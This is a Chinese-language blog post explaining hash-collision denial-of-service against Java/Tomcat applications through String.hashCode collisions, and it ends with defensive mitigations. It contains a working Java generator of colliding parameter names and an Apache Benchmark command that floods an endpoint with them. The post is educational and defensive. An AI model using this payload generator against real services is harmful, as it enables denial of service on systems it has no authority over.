哈希表是基于数组的一种存储方式.它主要由哈希函数和数组构成。
当要存储一个数据的时候,首先用哈希函数计算出下标,然后存储到数组里面。这个数组就是哈希表。
查询一个数据的时候,哈希函数计算出下标,读取数组下标的数据,达到一个O(1)时间复杂度的查询。
但由于哈希算法不同,不同的数据得到的哈希值有可能一样。导致存储的位置一样,这就是hash冲突。它有三种解决方法
不同的解决方法,导致时间复杂度的变换是不同的,接下来我们分析HashMap运用的拉链法。
拉链法存储元素的时候,存储形式为一个链表节点,当冲突的时候,就在链表节点下直接添加冲突的元素。假设所有的元素hashcode都一样,使所有元素都插到了同一个位置。这样一来,原本查询和插入O(1)时间复杂度退化成了链表或红黑树(HashMap中链表超过8会转换成红黑树,之前的文章有提到链表转红黑树)查询和插入的时间复杂度。
假设攻击者精心设计一组要放进 hash 表的字符串,且让这些字符串的 hashcode 都一样,这就会导致 hash 冲突,结果会导致 cpu 要花费大量的时间来处理 hash 冲突,造成 DoS(Denial of Service)攻击。接下来我们分析如何设计出hashcode 都一样的字串符。
在StackOverflow 上的这篇文章 Application vulnerability due to Non Random Hash Functions1里给出两个HashCode一样的字串符“Aa”和“BB”接下来我们查看源码分析,为什么它们的HashCode一样。
String重写的hashCode方法如下:
/**
* Returns a hash code for this string. The hash code for a
* {@code String} object is computed as
*
* s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
*
* using {@code int} arithmetic, where {@code s[i]} is the
* ith character of the string, {@code n} is the length of
* the string, and {@code ^} indicates exponentiation.
* (The hash value of the empty string is zero.)
*
* @return a hash code value for this object.
*/
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
我们可以看到源码给出了公式s[0] * 31 ^ (n-1) + s[1] * 31 ^ (n-2) + … + s[n-1]
“Aa”= 65 * 31 +97 = 2112
“BB”= 66 * 31 +66 = 2112
通过公式我们知道只要这两个字符串进行排列组合,计算出来的hashCode都是一样的
例如
“AaAa” = 65 * 31 ^ 3 + 97 * 31 ^ 2 + 65 * 31 + 97 = 2031744
“BBAa” = 66 * 31 ^ 3 + 66 * 31 ^ 2 + 65 * 31 + 97 = 2031744
(A,a,B的AIISC码分别是65,97,66)刚好可以通过大写A和小写a之间32的差值,和大写A与大学B之间1的差值来补全计算hashcode时的差值
所以其实"Bb"和"CC"也能弄出同样的效果
我们写一段代码来进行排列组合构造请求
public class Main {
static StringBuilder sb = new StringBuilder(32);
public static void main(String[] args) {
//long l = System.currentTimeMillis();
String[] str={"Aa","BB"};
recursion(str,0,16);//循环16次
//System.out.println(System.currentTimeMillis()-l);
}
public static void recursion(String[] str, int cur, int target){
if (target==cur){
System.out.print(sb+"=&");
return;
}
for(String s:str){
sb.append(s);
recursion(str,cur+1,target);
sb.delete(sb.length()-2,sb.length());
}
}
}
生成后复制到test.txt文件,为下面的攻击做准备。
写一个小小的Demo
@RequestMapping("/hash")
public String hash(HttpServletRequest request) {
// Demo,简单返回参数大小和其对应hashCode
int size = request.getParameterMap().size();
String key = (String)(request.getParameterMap().keySet().toArray())[0];
return String.format("size=%s, hashCode=%s", size, key.hashCode());
}
借用 Apache Benchmarking”压测的工具发送请求
ab -c 200 -n 100000 -p test.txt 'localhost:8080/hash'
我压测自己的登陆接口结果如下
CPU 的变化情况
压测过程中CPU一直在130%+的
为什么Demo中没有HashMap,依然能够有效呢?
在Tomcat http Body 解析源码分析2中说到了Tomcat处理请求参数的时候,将参数解析出来放到LinkedHashMap里。
在StackOverflow 上的这篇文章 Application vulnerability due to Non Random Hash Functions1上提出了三个解决办法
这里简单的翻译一下
1.限制请求参数的最大值,Tomcat默认最大10000个参数,这个最大值越小越好,不过不要影响你的功能。
2.限制请求的大小,Tomcat允许2MB的Payload,也就是2MB的requestBody,减少到200KB也可以很有效的防止这个攻击。
3.上 WAF(Web Application Firewall),用专业的防火墙清洗流量。
参考资料
Application vulnerability due to Non Random Hash Functions: https://stackoverflow.com/questions/8669946/application-vulnerability-due-to-non-random-hash-functions ↩︎ ↩︎
Tomcat http Body 解析源码分析: https://www.jianshu.com/p/d8a2bc7d3c21 ↩︎